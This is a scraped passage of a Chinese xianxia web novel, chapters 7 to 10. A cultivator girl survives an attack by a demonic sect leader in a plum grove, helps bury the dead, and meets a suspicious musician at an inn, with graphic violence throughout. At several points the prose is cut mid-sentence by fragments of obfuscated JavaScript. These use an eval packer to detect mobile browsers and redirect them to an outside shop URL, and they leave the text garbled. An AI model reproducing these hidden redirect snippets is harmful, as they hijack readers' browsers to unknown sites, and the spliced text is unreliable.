l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292424|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了前方的背影,那是她娘! 但那个背影只是不断往前走,口中吟诵着莫名的口号,无论温渺怎么追,都无法靠近她。 温渺越是往前,就发现周围的身影正在一点点变多。 那些吟诵声也从微弱变得响亮,在山谷中回荡,仿佛是耳边的阵阵雷鸣。 温渺看到了乔姐姐,看到了府里的马夫,还看到了洗菜的唐婆…… 他们每个人都背对着她往前走。 一个声音在她耳边说:“粘著尘境,迷相逐物,皆是虚幻不实……” “天道已死,待天火降下,会焚尽世间残秽,他们回到花园,才能免遭焚烧的痛楚……” 曦衡君与同伴在不远处观察,眼见温渺突然追逐着什么跑了起来,几人立刻就要升起剑阵冲过去救人。 然而不等剑阵生成,他们便听到了诡异的吟诵声在耳边回荡。 “小枣!”曦衡君焦急地唤了一声。 没有人回应他。 雾气中,同修的身影似乎越来越远。 与此同时,又多了许多黑影,正吟诵着口号,裹挟着他们一同往前走。 曦衡君起剑去刺,寒光一现,黑影却化成同伴。 “你疯了!怎么打自己人!” “不对,有幻术,这雾不对劲!” “众人结阵凝神,不要被邪术迷惑耳目!” —— 温渺察觉到自己正不由自主往前走,既无法反抗,便静静倾听那道声音在说些什么。 直到忽然一阵铃响,伴随一声凄厉的猫叫出现,她的耳朵仿佛被针扎了一般,世界忽然一阵清平,所有杂音都消失无踪。 “吵死了。” 一道缥缈幽冷的嗓音,在这寂静到诡异的晨雾中,瞬间让所有人屏息凝神。 下一刻,只听几声微弱的刺啦声,忽然间狂风大作,四周的树影疯狂地摇晃起来。 花叶狂乱地飞舞,迷得人睁不开眼。 温渺眯着眼睛,看到被狂风卷起翻飞的红色花瓣,才发觉这是一片梅花林。 脚边忽然感觉到一片湿热,她低头看,慌忙跳到一边。 不知何时前方有好多血蜿蜒而下,一直流到了她脚边。 温渺将背篓里的短剑取出握在手中,提心吊胆地盯着前方。 随着大风,雾气渐渐淡去,梅林中的景象也渐渐在众人眼前清晰。 昏暗中,一群人就那么看着。 一个穿着桃红长袍的人影,撑着柄红伞,静静地站在血泊中,周围全是尸首,像是被什么切碎了,覆盖在花瓣下的残肢的断面整整齐齐,正不住地往外涌血。 花雨仍未停下,洋洋洒洒地飘落。 伞面微斜,遮掩了他的面容,却能看见他肩头站着一只瘦骨嶙峋的黑猫,和一截苍白如纸的脖颈。 温渺看了一会儿,发现好像有些黑雾般的东西正飘向红伞,而后那伞面的颜色似乎也越来越深。 黑雾被伞吸收干净后,那人终于朝着他们缓缓走近。 伞面抬起,露出一张美艳至极,似梦似幻,宛如精魅化形的绝色面容。 然而此刻,这张脸上带着笑意,却让所有人不寒而栗。 温渺几乎是霎时间如坠冰窟,仿佛再一次身陷梦魇。 他轻笑,发上银坠摇颤撞击,发出阵阵脆响。 “哦?有熟人……” 7.第 7 章 伞坠晃动,发出清脆的响声。 温渺莫名觉得在何处听过,不及她抬头看清,西陵砚已经收了伞,冷冷看向曦衡君。 “温朗在哪儿?” 他话音才落,曦衡君大喝一声,持剑朝他攻去。 琅华弟子也纷纷出招杀向西陵砚,梅林瞬间被刀光剑影充斥。 温渺只照着书上所学,对着石头练过几次剑招,从来没有拔剑伤过人,纵使仇人就在眼前,面对这种场景也没有她出手的余地。 好在曦衡君也交代过她,一旦与人交手,以她的修为只要躲起来便是,以免旁人还要分心周全她。 西陵砚猛然抬手,只听林中响起阵阵铮鸣,花枝瞬间被齐齐削断。 很快,伴随着长剑断裂的嗡鸣,有人在惨叫声中倒地。 西陵砚从容不迫将袭来的杀招拆去并还击,翻飞的衣袍好似粉云飞散 不过几招的功夫,在场十几位琅华精锐联手,竟是被他死死压制,毫无喘息的余地。 这么短的时间里,温渺连躲都躲不掉。 西陵砚扫到一个试图闪躲的身影,指上流光一闪,宛如催命咒的弦声响起。 温渺这次终于看清,西陵砚的武器是从指上连接的金线! 她躲闪不及,只能持剑去挡。然而即便她能挡下这一招,少说也要重伤。 易容丹! 温渺呼吸一窒,一股绝望浮上心头。 “小妹!” 危急关头,曦衡君闪到她身前,剑气挡下金线的攻势,携着劲风的线歪了一寸,却还是猛然穿透他的手臂,而后又刺穿了他身后温渺的肩头。 金线如同锋利的剑刃一般,在刺穿他们的瞬间便向外划开了血肉,腥热的血喷洒而出,溅在温渺的脸上。 曦衡君在她身前受了最后的余劲,挡着她一同摔倒在地。 温渺不知道自己的伤势有多严重,只能低着头不敢抬起来。 被西陵砚杀死的教徒堆在一起,血流成了小溪,将冷硬的土地都溶解了。 温渺趴在地上,手按进了松软的红泥中,扑鼻的腥气让她简直是从背脊一路麻到天灵盖。 与此同时,西陵砚的脚步声整缓缓逼近。 他走来,居高临下地看着曦衡君。 晨色苍凉的山谷中,偶尔传来几声稀薄的鸟鸣。 他微微低头,垂顺的发丝黑得像是绸缎,更衬得他面如白玉,唇若点朱,美得像一只艳鬼。 温渺听到他发上银饰传来的轻响,颤栗着不敢抬头,指甲却死死地掐进掌心。 西陵砚轻叹口气,道:“我不过是问个话,曦衡君好失礼。” 他说着,金线猛得绕上曦衡君脖颈,拽得他趔趄着往前。 温渺不顾伤势,想要伸手阻拦,一个黑影轻巧地落在地面,横在她面前。 是那只凶恶的黑猫。 它弓起身体,露出沾着碎肉的爪子。 西陵砚好整以暇地看着。 “那我再问一次,温朗呢?” 金线收紧,曦衡君脖颈被勒出血珠。 温渺怒道:“我们不知道,没有他的下落!” 她不管不顾,扑上去想要阻止。 就算西陵砚要杀了她,或许还能让其余人趁此机会逃走。 黑猫发出一声惊叫,猛得扑到温渺身上。 她没想到一只猫居然有这样的力量,竟像一块巨石砸了上来,直直将她扑得躺在地上。 黑猫对着温渺伸出利爪。 正当众人以为那妖猫要将她的脸划烂的时候,它的动作竟然慢了下来,利爪收起,缓缓的在她胸口踩了两下。 温渺愣住了,呆呆地没动。 西陵砚皱眉,不耐道:“回来。” 黑猫没有理会,而是在温渺的身上趴下,而后打了个滚,在她身上蹭了两下,将肚皮翻出。 原本凄厉嘶哑的猫叫,现在只剩下撒娇般的咕噜声。 原本缠在曦衡君颈间的金线猛然一松,甩在了黑猫的身上,迅速将它从温渺身上带离。 西陵砚提着它的后颈,面色阴沉地盯着温渺。 而她已经扭过头,让凌乱的发丝遮盖住了表情。 西陵砚盯了她一会儿,发出一声莫名的冷笑,而后缓缓转身离去。 天光破晓之际,梅林中的煞神已然消失不见。 曦衡君捂着脖颈咳嗽,环顾四周,众人心有余悸,望着一地狼藉默然无话。 —— 好在西陵砚并未与他们缠斗太久,在场众人虽伤势不轻,却来得及医治,没有误了性命。 曦衡君为自己和温渺封穴止血后,伤势也无大碍。 见温渺脸色苍白,他安慰道:“虽说不走运遇上了这魔头,但他无意大开杀戒,众人平安便好,莫要担忧……” 他正说着,温渺已经僵硬地俯下身,从地上捡起一只断臂。 曦衡君喊道:“这是哪位同修的手臂?” 一个人踉跄地跑过来:“我的!找半天了,快快快,再耽误要接不上了!” 温渺呆呆道:“西陵砚杀过很多人吗?还有那伞……” “这人喜怒无常,行事疯癫,有时杀上仙门,伤人夺物,有时又消失无踪。偶尔遇上他,不去招惹也相安无事,但他杀了那么多人,身为修士,如何能做到‘不招惹’…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317991|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 有同伴跑来说:“师弟去通知正气司了,我们带伤重的道友先回客栈让药师疗伤。” 曦衡君道:“我在附近盘查一番,你们带小枣一同先回吧。” 温渺缓了好一会儿,已经习惯了这股令人作呕的腥气,已经忍住了胃中的不适。 她摇了摇头:“我伤势不重,与前辈一同留下。” 让温渺离开自己的视线,他也不太放心,见她能忍着不适,便点头应了。 等重伤的同伴离开,曦衡君又继续道:“想必你也知晓,寻常修士修行,吸纳的是天地灵气,因此灵气清正明澈。而邪魔外道,之所以说是魔道,正是因他们为修炼不择手段。” “魔道妖人炼化阴炁为己用,长此以往,必然有损心性…… “再如何自恃良善的人,被阴炁熏陶太久,都要面目全非……” 温渺在荐微给她的书上看到过阴炁。 书上说,无论修炼如何艰难,也不可为另辟蹊径吸纳阴炁,否则便是自堕魔道,一去不返了。 阴炁似魂非魂,人死以后,强大的执念无法消散会化作阴炁,其中以怨气最为强大。 一两人的阴炁往往不成气候,然而太多阴炁聚在一处,足以影响一地的风水,或是附在活物之上,使得那活物心性大变。 有些人死前怨念太强,死后留下的阴炁会吞噬其他阴炁,而后越来越强大,还会化出形状因生前执念伤人性命。 温渺请教过荐微,她想知道阴炁是不是鬼魂,如果是,她还能不能见到阿娘,见到西陵府的众人。 荐微却说:“人死了便是死了,阴炁非人非鬼,无知无觉,不过是残留在世的一口气,是执念所化。留下阴炁,是为死前太过不甘,这不是什么好事……” 西陵府被灭门后,连他们的尸骨都焚毁了。 他们死得惨烈,必然是怨气冲天,死后不知多少阴炁飘荡在西陵府。 据说后来还有不知死活的邪修,为了修炼而强闯,跟去镇压的修士大打出手。 总之西陵府的阴炁,有些被仙门修士打散后化归天地,有些被邪修抢走用以修炼,早就一点不剩了。 曦衡君道:“那伞名唤赤鬼,是个吸纳阴炁的邪物,他为了修炼杀了许多邪修,那些人死后,阴炁要强上寻常人许多……” 他说着,目光落在那一地碎尸上。 “这么修炼下去,自食恶果是迟早的事。” 温渺回想起方才。 同样的脸,截然不同的风貌。 西陵氏的长公子,已经是百年前的事了。 而今日再见的,是祸乱天下的魔头,是她不共戴天的仇人。 8.第 8 章 西陵砚将这些教徒杀得彻底,让他们想翻找出什么线索也难。 正当曦衡君和同伴愁闷之时,回头发现温渺已经拿锄头在地上挖了个大坑。 “小枣,你这是……” 温渺胳膊上的伤口在往外渗血,疼得她倒吸冷气,动作却没有因此缓下来。 说起这个,她有点没底气。“我想把他们收埋起来……” 一人没好气道:“这些都是不信教的邪修,你还有伤在身,管他们的尸首作甚?” 温渺知道自己的行为有点傻,但还是停下动作,解释道:“无论是怎样的人,死后都只是一摊血肉,倒不是可怜,但……但我就是想把他们埋起来,我很快就挖好了,不会耽误你们的……” 她又补了一句:“而且这里还有耕地,要是有其他百姓来农作,看到有尸骨,怕是要吓得魂飞魄散……” 听温渺这么说,那人脸色缓和了下来,也不再催促,说:“罢了,你留心自己的伤。” “多谢前辈。” 温渺自顾自地继续挖,曦衡君走过来帮忙,凑到她身边,道:“你们兄妹有些地方当真是一模一样,只是脾气要差远了。” 温渺“啊”了一声,不解道:“我哥脾气不好吗?” 曦衡君想了想,虽然温朗爱骂人,言辞粗鄙不堪,但他当着妹妹的面说哥哥的坏话,实在不是君子所为,又委婉道:“也不是不好……只是说话直白了些。” 有曦衡君帮忙,俩人很快挖好了几个大坑,与其他道友一同将地上零碎不堪的尸身往坑里埋。 温渺是没怎么见过死人的,更别说亲自埋葬,她很难将这些人的尸身当作猪羊般随手抛进去。 因此她的动作很慢,将那些拼都拼不齐的尸体轻放到坑里,手还止不住地抖。 一个道友实在看不过去了,催促道:“你实在害怕,剩下的交由我们吧。” 温渺没答话,弓着身子一动不动。 曦衡君以为她是看到什么吓傻了,忙喊了一声。“小枣!你怎么了?” 他走近,才发现温渺蹲在地上,正拿着一只断脚发愣。 “小枣?” 莫不是吓傻了! 曦衡君忙伸手拍她。 温渺忽地说抱着那只断脚,不由分说跳进了坑里,然后又抓起不知谁的袍角。 正当众人被她的动作吓了一跳的时候,她抬头喊道:“前辈,你们快来看,他们身上有矿粉,这是黄赭石。” 曦衡君也跟着跳了下去,温渺指给他看,说:“这个靴子边上,还有那块袍角,上面都沾了矿粉,下面还有,我方才也看到了一个。” 西陵氏与昆仑派关系匪浅,特许他们在平邪城开采矿山,温渺从前做完活,帮着乔姐姐给府上的人洗过衣裳,上面常常沾着矿粉。 有时候采到上好的矿石会磨成颜料,送到府上的主人们那去。 西陵砚文采斐然,画技也堪称绝妙,但这些对他而言并无用处。 见温渺对这些感兴趣,他蘸取颜料,在画布上一一画开,教她辨认这些色彩和颜料的名称。 画到最后,他搁下笔,平静道:“可惜连送来的矿粉也一回不如一回了。” 西陵府家大业大,怎么会用不起最好的颜料。 只是那些人认为,一个活不长,又没什么见识的短命鬼,用次些的颜料也辨不出什么,再好的珍品留给他也是浪费。 家仆以次充好,从中牟利的事没少做,且从来都是变本加厉。 没人觉得不该,毕竟连他的父母都不将他放在心上,不怪旁人有恃无恐。 —— 将教徒埋葬过后,几人立刻返回镇上的客栈。 当地的仙门也派了医师赶来,还有两个门派中掌事的人,也在客栈中等候曦衡君归来。 见琅华的少主平安归来,他们这才松了口气。 曦衡君道:“忽然涌出这么多教徒,是我们做事太冲动,想必不信教的人早早等着我们入局了……” 被金线绞断手臂,方才接上的修士骂了两句,说:“谁能料到这荒山野岭能撞上西陵砚,上来问我们温朗在哪儿,说不出便是一顿好打……” 医师给他上了药,说:“与他交手还有命在,已经算幸事了。” 曦衡君将沾着矿灰的袍角拿出,说:“也不算没有收获,方才小枣发现了这个……” 他将教徒身上有矿灰的事详细说了一番,辖地内的管事听了,立刻便着手去调查,约好不日便会有消息。 曦衡君道:“多亏小枣心细,这伤也不算白挨了。 ” “是啊,那妖猫跳她身上那一下,给我吓得心都要跳出来了……” “真是疯子养疯猫,跟它主子一般喜怒无常。” 温渺有些不好意思地摸了摸耳朵,说:“我也没帮上什么大忙,还要前辈为护我受伤……” “哪里的话,你无事最要紧。”他说着走到她身边,将声音压得更低,道:“易容丹可要记得吃。” 温渺点点头。 离开昆仑派之前,她找上了曦衡君,求他带自己去找哥哥。 曦衡君得知她是温朗的妹妹,惊愕不已还去找了孟绮云证实,却还是顾忌她的安危不肯答应,最后或许是耐不住她软磨硬泡,不仅同意带她下山,还给她找来了易容丹。 寻常易容丹限制颇多,改变形貌最多撑不过三日,若是受了重伤或药效不足,还会提前恢复容貌。 易容丹炼制最后,融入谁的血,面容便能化成谁的模样。 五大仙门管辖下,为了避免有人心怀不轨,假借他人作恶,只有获得许可的药宗弟子可以炼制,且每颗丹药都被登记在册,不能用以交易。 但曦衡君不是一般人,他是琅华掌门最疼爱的儿子,只要他开口,几乎没人会不卖他爹的面子。 他去找崔昭要易容丹,支支吾吾说不出个原因,崔昭也只是笑笑,让人带他去取。 事后曦衡君感叹了好几次,说崔昭真是五大掌门中最好说话的了。 —— 入夜后下了雨,众人大多去休息了,只剩几人还在楼下围着炭火说话。 温渺本来肩伤便疼,怎么躺都不大舒服。夜雨寒凉,右腿也跟着隐隐作痛,她索性也不睡了,坐在楼下听他们闲谈。 除温朗杀了柳无负儿子被下天诛令以外,便是说起近日有人雇花榜杀手刺杀丹阳掌门,杀手反被掌门打死,尸身挂在山门古树上示众这回事。 有人问:“刺杀丹阳掌门,那可是个女霸王,谁不要命了?” 另一人小声道:“有人说是丹阳副掌呢……” “她们两人可是亲生姐妹,怎么可能,再说了,她想害自家人有多少机会,犯得着花大价钱去请花榜的人?” 几人讨论得热火朝天,温渺问身侧的道友:“花榜是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336140|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么……很贵吗?” 那道友听到这话,不由地瞪大眼,上下扫了扫温渺,调侃道:“不说你出自昆仑,我还当你是什么山沟里出来的,花榜都不知道。” 他指了指温渺肩上的伤口。“你这伤,可不就是那花榜之主留下的。” “西陵砚?”这下轮到温渺瞪大眼了。 她正待再问,却听客栈大门被叩响,众人纷纷止住了闲话,神色谨慎地朝着门口看去。 这处客栈虽说归属附近的镇子,实际上却位于离镇子还有好几里路的驰道。 这条驰道因为之前有邪修作祟,在这条路上杀了好些人,已经荒无人烟许久了,大多人都选择走另一条更宽阔的驰道进城。 这客栈本来都要关店了,还是当地正气司通知掌柜,才让他们安心开门接客,整间客栈也只有他们这些修士和两个伙计。 此时已是深夜,客栈外风雨飘摇,连个鬼影都难找,怎么还会有客人? 想到白日里的不信教和西陵砚,众人仍是心有余悸,几下敲门声便让他们严阵以待。 店里的伙计趴在附近的桌上睡觉,被惊醒后打着哈欠去推门闩,两个修士立刻持剑跟了上去。 大门嘎吱响了两下被推开,客栈外的冷风立刻呼呼吹进大堂,冷得温渺缩起脖子。 “客官要住店只剩下房了。” “无妨。” 一个高挑的人影从黑暗中走入客栈,面目渐渐显露在烛光下。 是个相貌俊美,穿着青衣的文雅公子。 他收了伞,将雨水抖了抖,衣袍上有大片的水渍。 一进客栈,见众人都盯着自己看,他先是一愣,随后温文一笑,道:“原来是琅华的仙长们,幸会。” 伙计去给他收拾客房,让他稍作等待。 一修士打量着他,问:“这大半夜荒郊野岭的,你孤身一人为何会出现在此?” 青年将背后不小的布袋取下,说:“不瞒仙长,我其实是来寻人的。” “寻人,什么人?” “我家妹妹叫歹人蒙骗,被掳去了不信教,我此番来正是为了寻她回去。” “又是不信教……” 温渺见他衣衫单薄,鬓发湿漉漉的,主动挪开了一个位置。 “公子来炉火边取暖吧。” 青年看向她,黑而亮的眼珠中,倒映着忽明忽暗的烛火。 “多谢这位仙长。” 温渺忙摆手道:“我不是什么仙长,我还没受仙箓,没有拜入仙门呢。” “那便多谢这位小友了。” 温渺旁边的道友皱眉道:“你妹妹,被掳去不信教?这种事自有仙门追查,怎会由你寻她?” 青年没有看他,只是垂着眼,专注解开布袋上的系绳。 “仙门办事自然是妥帖,但我与妹妹相依为命,一刻都等不及,想必这种心情,仙长也能明白。” 温渺听他这么说,不免感同身受,目光都多了些同情。 外面这么冷,不论是谁,想必也冻得不行。她这么想着,起身倒了一杯热茶要递给他。 正好听有道友还在盘问:“说了这么多,你还未说你的来历姓名。” 温渺端着茶回过身,正好见他缓缓从布包中取出了一把阮琴。 他拨了一下琴弦,干涩的弦音在堂中悠悠回荡。 “在下凌雨,远安人,是个无名乐师。” 9.第 9 章 远安归属琅华管辖,离昆仑还有好一段距离。 一个乐师,孤身在昆仑行走不算奇怪,但琅华这种地方…… 连本派的修士也忍不住说:“世道这么乱,你一个乐师是怎么来的,路引呢?” 说是世道乱,其实就只有琅华最乱。 普通人想要从琅华到昆仑,路引也不是轻易便能批下的。 这客栈没什么客人,伙计看这么多修士,也不管查证路引便叫人住店,本是不合规矩的。 一听到有仙客这么说,连忙端着干果跑来,朝着凌雨恭敬道:“方才的伙计睡昏了头,忘了问客官路引了,客官您看……” 凌雨笑笑,说:“无事。” 紧接着,他从怀中取出微湿的路引递过去。 “为批下路引,我将家产变卖,一路循着不信教的消息来到昆仑。” 琅华这种地方,底下的门派不管事,民风剽悍算是说好听了,实则是又偷又抢,琅华掌门从大街走过都能叫人偷走令牌去当了换钱。 在这种地方,按规矩办事显然行不通,只要给的钱够多,莫说是到昆仑,便是去掌门寝居的路引都敢往下发。 温渺不禁问他:“你的家产都变卖了,那要如何到此处,还有盘缠吗?” 凌雨道:“我为沿途的茶楼客栈奏曲,勉强换些银钱。” 问过来处,查了路引,却还是难以消去众人心中的疑虑。 凌雨好似也察觉不到众人对他的提防,接过茶水道谢后,反而主动搭话,问:“诸位便是来追查不信教的修士?” 按理说不信教在琅华作祟,此事合该交由昆仑一并处理,偏偏温朗和苍山少主便是因此出的事,仙盟已经不许他们再插手其中。 此事办好是大功一件,本届仙首是曦衡君亲爹,当然要将此事派给他用以立威,这件事在琅华也不是什么秘闻。 “是,你且放心,待我们灭了那些妖人,定然将你妹妹救回。” 凌雨轻叹口气,道:“有各位仙长在,我自然是放心,但自家妹妹,我还是想亲自去一趟,若她有不测……无论如何,我都要见到她。” 此话一出,旁边的剑修立刻道:“这不是胡来吗?不信教是什么地方,你以为这四邪是浪得虚名?亲自去,去做什么?送死也得挑日子?” 他这话说得直白,虽然不大好听,但也说出了其他人的心声。 温渺坐在一边,听得是心虚不已。 烛火晦暗不明,凌雨俊秀的脸一半隐在暗中。 但他面色如常,对方才那番话不为所动。 凌雨道:“区区不才,也曾随家中长辈修习术法,不会给各位仙长添麻烦,若出了事,后果我自负便是。” 温渺惊讶道:“你是修士?” 无论是否被仙门授予仙箓,只要能够筑基修炼,便要依照仙盟定下的律法登记在册,受民间正气司管束,那些不曾拜入门派的散修亦是如此。 一人将他还未收起的路引取来细看,发现上面果然盖着散修的章印,点头道:“还真是。” 紧接着他又说:“那也不成,你一个散修,去了也不过是早上死和晚上死的差别。” 凌雨坐在炉火边,打湿的衣袍被烘得升起白汽,发丝却还湿成一缕缕的垂散在额角。 温渺注意到,有好些个道友在偷偷打量他的脸。 “不信教常以邪术惑人心智,我虽不擅与人交战,但若是破幻消障,我应当能帮上忙。” “你?”有人仍是质疑。“你用什么破除幻象,用琵琶不成?” 温渺不禁小声提醒:“这是阮。” 凌雨侧目看她,微微颔首道:“此阮名为翦花,是幻音门镇派之宝。” 温渺不知道幻音门是什么,也不清楚这翦花琴的能耐,仍是一脸莫名,反观其他人都有不小的惊愕。 对琅华修士来说,幻音门虽然久远,却并不鲜为人知。 琅华派是五大仙门之一,实力自然是仙门顶峰,但也并非处处能当首位。 例如乐修,琅华境内便属幻音门第一,从前琅华想让幻音门并入琅华派,被对方的掌门拒绝后出言讥讽。 “幻音门不是被西陵砚灭了吗?一派至宝,又为何能落到你的手上?” 现在听到西陵砚这三个字,温渺都觉得肩头的伤口在隐隐作痛。 她小声道:“这是灭门灭上瘾了不成?” 凌雨淡淡瞥了她一眼,继续道:“我祖母曾是幻音门弟子,逃过一劫后,将这法宝带走免落妖邪之手,如今传到我手中,勉强习得一招半式,堪堪够用。” 温渺不懂便问:“这琴有何特别吗?” 答话的也是个乐修,他说:“翦花琴可以诱惑心智,杀人无形,用来破除幻象也是宝器,只不过还要因人而异,若学艺不精,与寻常丝竹并无两样。” 幻音门被灭后,翦花下落不明,确实有传闻说被门中弟子带走,为免西陵砚追杀报复,那人便隐姓埋名不再出现。 按照这么说,倒也对得上。 如此一来,确实没有不让他前去的理由。毕竟他们此去是想先找回丢失的百姓,也不是奔着除掉娀影去的,多一个帮手也是好事。 但事情这么凑巧,总觉得这人有些可疑,几人便说明日等众人醒了再行商议,草草收拾一番上来休息去了。 温渺本来也要上楼的,看那伙计打着哈欠,两眼都快睁不开了还在收拾桌面,她索性走过去帮着一起擦桌。 “多谢客官,客官早些休息。” 温渺点了头,往楼上走去。 见凌雨仍孤身一人坐在炭盆边,她安慰道:“你妹妹一定会平安无事的。” 他没有回头,只道了一句:“多谢。” 温渺说完便上楼睡去了。 次日醒来,雨已经停了,客栈前积了不少深浅不一的水洼。 她洗漱过后下楼去,众人也大半坐在堂中用早饭,争议着让不让凌雨同去不信教救人的事。 两方人争执不下,本该作主的曦衡君反被夹在中间,面色为难地干笑,左劝一句右劝一句。 “大家有话好好说,都是同修,何必动气呢。” 温渺也跟着劝了起来,她对于琅华派而言是外人,众人也卖她几分面子,很快平息了争执。 最后还是曦衡君出来说:“凌道友的修为我已验过,他虽是散修,却也有真才实学,遇险时亦能自保。而且……” 他犹豫地看了眼凌雨的神情,才无奈道:“素风没有响动。” 温渺听曦衡君说过,他的佩剑素风专为克制妖邪打造,若遇到修习邪道的妖人,素风感应到阴炁,在剑鞘中便会发出剑鸣。 这话显然是在说,凌雨遇上他们,虽然巧得可疑,但确实查不出问题,带上他多一员助力,也未必会拖他们后腿。 曦衡君都这么说了,谁再坚持不许凌雨跟去,岂不是显得刻薄固执? 最后争论一番,还是许他一同跟去追查不信教。 而凌雨气定神闲地坐在一旁,好像那些争执根本与他无关,无论商议出怎样的结果,都无法影响他的决定。 午后温渺用过饭,在走廊上听曦衡君的嘱咐。 而凌雨那间房此刻正传出悠悠琴音,在这柔和恬静的琴声中,众人连闲话的声音都小了不少,显然有不少人在安静聆听。 然而这恬静再往后就变了调,逐渐变得幽暗诡谲。 好似上一刻还在如沐春风,下一刻便是妖风大作,群鬼哭嚎。 曦衡君听得皱眉,却还是非常有礼数地轻咳一声,道:“这位道友的曲风倒是十分有新意。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367656|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温渺点头道:“听不懂,好听。” 正好当地正气司派去调查的人已经来了,将查出的消息呈了上来。 曦衡君召集众人一齐在楼下商议,温渺等琴声似乎要停下了,才抬手叩响凌雨的房门。 “凌公子,打扰了,曦衡君有要事商议,请你到楼下一起。” “好。” 对方言简意赅,似是多说一个字儿都不愿意。 文雅之士都有点清高自傲,不愿意搭理人是正常的,说不准也是被人怀疑试探后,心中对他们都有不满呢? 温渺也没太在意,说完话就下楼去了。 众人都到齐后,正气司的修士解释道:“这般成色的黄赭石,方圆五十里内,只有三座矿山有,其中有两座已派人去查过了,一切无恙,剩下一座牛头山倒是有些古怪…… ” —— 下过雨后,路面积起水洼,上山的路变得湿滑难行。 尤其牛头山的路,雨后尤为难走。 这座矿山在郊外,还要穿过崎岖的山路才能到达。 为了省事,他们原本都想御剑飞过去,结果却发现此处有障眼法,在空中会迷失方向,根本寻不到这山的踪迹。 一行人只好按照原路往矿山走。 据调查的修士说,他们一查才发现,牛头山劳作的人已经有好一阵子不曾下山了,连带着上山寻找他们的亲眷也不曾归来。 由于矿山的人本就许多吃住都在山上,也没人将这当做是什么大事,如今一查才发现蹊跷, 众人索性换了寻常百姓的衣服,扮作上山寻人的亲眷准备深入矿山。 温渺和凌雨因为修为最差,跟在队伍最后。 因为才下过雨,山中飘散着雨雾并不奇特,但越往里走,雾气越是浓郁。这让温渺想起了梅林中诡异的幻象和屠杀,越往前走心中越是不安。 她想着凌雨虽是修士,但面对这种情形,必然也是心绪不宁,便好意同他搭话道:“你妹妹是什么模样,若能闯进去,我也好同你一起找。” 凌雨淡淡道:“姿色平平,并无奇特,还是不劳烦道友了。” 温渺被噎得说不出话来,只好“哦”了一声,默默别过脸。 山路湿滑,她走到陡峭处,出溜一下就往前摔了过去。 原本她反应敏捷倒也能及时稳住,偏偏右腿使不上劲儿,反而因动作忽地抽痛,让她摔得更狠了。 原本在她身前的凌雨,却好似也没听到她的惊呼声,脚步不停地往前走。 温渺本身右腿有旧疾,再这么摔上一下,顿时疼得她倒吸一口冷气。 再往前看,凌雨和众人都转过身在看她。 “小枣怎么样了,还能走吗?” “又不是凡人,这都能摔?” 温渺不想在这时候给人添麻烦,也不顾疼痛和污泥,赶忙撑着站起来,说:“我没事,不用管我,就是摔了一下。” 见她这么说,众人也都不放在心上继续往前。 凌雨离温渺最近,始终没有要伸出手的意思,仅是扫了她一眼后自顾自走了。 温渺叹口气,一瘸一拐跟上。 这样熟悉的走路姿势,虽然有点疼,但走起来居然更适应了。 意识到这一点,温渺忍不住又叹了口气。 然后她走着走着,再一抬头,就发现前面的凌雨不知道什么时候停下了,正一言不发地盯着她。 他的表情很奇怪,皱眉像是有些不悦,但又像是在沉思,或者是说是在回忆什么。 温渺被他看得心里发毛,也不知道他什么心思,只好说:“我不耽误赶路的,一会儿就好了。” 然而凌雨却忽地伸出手,抓住了她的一只手臂。 温渺愣住了。“啊?” 凌雨道:“走吧 。” 10.第 10 章 凌雨扶着温渺,一只手攥着她的胳膊,神情丝毫没有变化,更没有要跟她说点什么的意思,仿佛他攥住的不是一个人,而是方才随手捡的一块木头。 温渺也发现,凌雨看着温雅有礼,但不难发现他其实是个疏离的人,对谁都是一视同仁的非必要不搭理。 她本来摔得也不重,作为修士,胳膊断了还得自己找回来接上,摔一跤就要人扶着走路,多少是有点矫情了。 她想着泥路太滑,能搭把手扶她站起来就好了,但毕竟萍水相逢,不扶她也无所谓。 只是没想到方才凌雨看都不多看她一眼,此刻却像是忽然变了性,不仅扶着她,还一扶就没有要松手的意思。 温渺走了几步,腿上的不适很快便消散了。 这种路并不好走,何况她觉着凌雨看着比她还文弱,扶着她走岂不是给他添麻烦。 她正要说话,却发觉周围那些飘散在林间的雨雾,似乎在悄然向他们聚拢。 “雾……” 凌雨打断她:“不用管,继续走。” 越往前走,雾气越是浓郁,前方同伴的身影逐渐变得模糊,温渺有些着急起来,问他:“不是要破除迷障吗?” 凌雨似是有些不耐,冷冷道:“现在破除,如何潜入不信教救人?” “那要是他们有危险怎么办?” 温渺始终是不放心,她也不知道不信教是怎么害人的,万一识破他们都是修士,现在就对他们动手该如何是好? 